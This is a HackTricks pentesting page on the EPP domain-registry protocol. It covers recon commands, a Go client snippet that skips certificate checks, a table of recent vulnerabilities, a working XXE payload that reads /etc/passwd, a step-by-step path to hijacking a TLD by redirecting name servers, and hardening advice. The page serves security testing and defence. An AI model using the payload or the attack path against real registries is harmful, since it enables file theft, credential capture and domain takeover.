700 - Pentesting EPP

Reading time: 5 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

The Extensible Provisioning Protocol (EPP) is a network protocol used for the management of domain names and other internet resources by domain name registries and registrars. It enables the automation of domain name registration, renewal, transfer, and deletion processes, ensuring a standardized and secure communication framework between different entities in the domain name system (DNS). EPP is designed to be flexible and extensible, allowing for the addition of new features and commands as the needs of the internet infrastructure evolve.

Basically, it's one of the protocols a TLD registrar is going to be offering to domain registrars to register new domains in the TLD.

Pentest

In this very interesting article you can see how some security researches found several implementation of this protocol were vulnerable to XXE (XML External Entity) as this protocol uses XML to communicate, which would have allowed attackers to takeover tens of different TLDs.


Enumeration & Recon

EPP servers almost always listen on TCP 700/tcp over TLS. A typical deployment also enforces mutual-TLS (mTLS) so the client must present a valid certificate issued by the registry CA. Nevertheless, many private test or pre-production deployments forget that control:

bash
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
  -servername epp.test 2>/dev/null | head

If the server does not terminate the connection after the TLS handshake you can attempt to send an unauthenticated <hello/> message:

xml
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
  <hello/>
</epp>

Open-source clients useful for testing

  • epp-client (Go) – actively maintained, supports TCP/TLS and EPP-over-HTTPS (RFC 8730):
    go install github.com/domainr/epp/cmd/epp@latest
  • gandi/go-epp – minimal client library that can easily be instrumented for fuzzing or nuclei-style workflows.
  • afq984/php-epp-client – PHP implementation used by many small registrars; a convenient target for code-review.

Example minimal login+check script with Go epp-client:

go
package main
import (
    "github.com/domainr/epp"
    "crypto/tls"
)

func main() {
    cfg := &tls.Config{InsecureSkipVerify: true}
    c, _ := epp.DialTLS("epp.test:700", cfg)
    c.Login("CLIENT_ID", "PASSWORD", nil)
    resp, _ := c.DomainCheck("example","com")
    println(resp)
}

Common Weaknesses & 2023-2025 Vulnerabilities

YearComponentCWEImpact
2023CoCCA Registry < 3.5CWE-611 XXERemote file read & SSRF via crafted <epp> payload (patch: 2023-11-02)
2024FRED EPP Server 2.xCWE-322 Insufficient TLS cert validationBypass of mTLS allowed unauthorized registrar login
2025Proprietary registrar panelCWE-306 Missing Authentication for Critical FunctionDomain transfer approval endpoint exposed over EPP-HTTP bridge

XXE / SSRF payload (works against many Java/Spring implementations)

xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
  <command>
    <check>
      <domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
        <domain:name>&xxe;</domain:name>
      </domain:check>
    </check>
  </command>
</epp>

When the parser is mis-configured (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true) the file content is returned inside the <resData> structure.

Other typical findings

  1. Weak credential policy – EPP login passphrases shorter than 8 chars; brute-force is often feasible because the spec only RECOMMENDS (not requires) rate-limiting.
  2. Missing registryLock / serverUpdateProhibited status – once authenticated, attackers can immediately update NS records and steal traffic.
  3. Unsigned poll messages – some implementations still do not sign poll Q&A messages, enabling spoofing/phishing of registrar operators.

Attack Path: From Zero to TLD Hijack

  1. Discover an EPP endpoint (often hidden behind a generic host like ot&e.<tld>.nic.<cc>).
  2. Abuse one of the weaknesses above to gain registrar-level credentials (XXE β†’ SSRF to IMDSv1, credential exfil, or TLS-bypass).
  3. Issue <update> requests to change the domain’s hostObj records to attacker-controlled name servers.
  4. (Optional) Submit a <transfer> to move the domain to an attacker-controlled registrar – many registries still rely on a single auth-code.
  5. Profit: full control of DNS zone, ability to request TLS certificates via ACME.

Defensive Measures & Hardening

  • Enforce mTLS with per-registrar client certificates and pin the registry CA.
  • Set parserFeature secure-processing=true or equivalent to kill XXE.
  • Run continuous fuzzing of the XML parser (e.g., with go-fuzz or jazzer for Java).
  • Deploy Registry Lock / server*Prohibited statuses for high-value domains.
  • Monitor poll queue for suspicious <transfer> or <update> commands and alert in real-time.
  • ICANN 2024 DNS-Abuse contract amendments require registries to prove rate-limit & auth controls – leverage them.

References

  • ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
  • HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks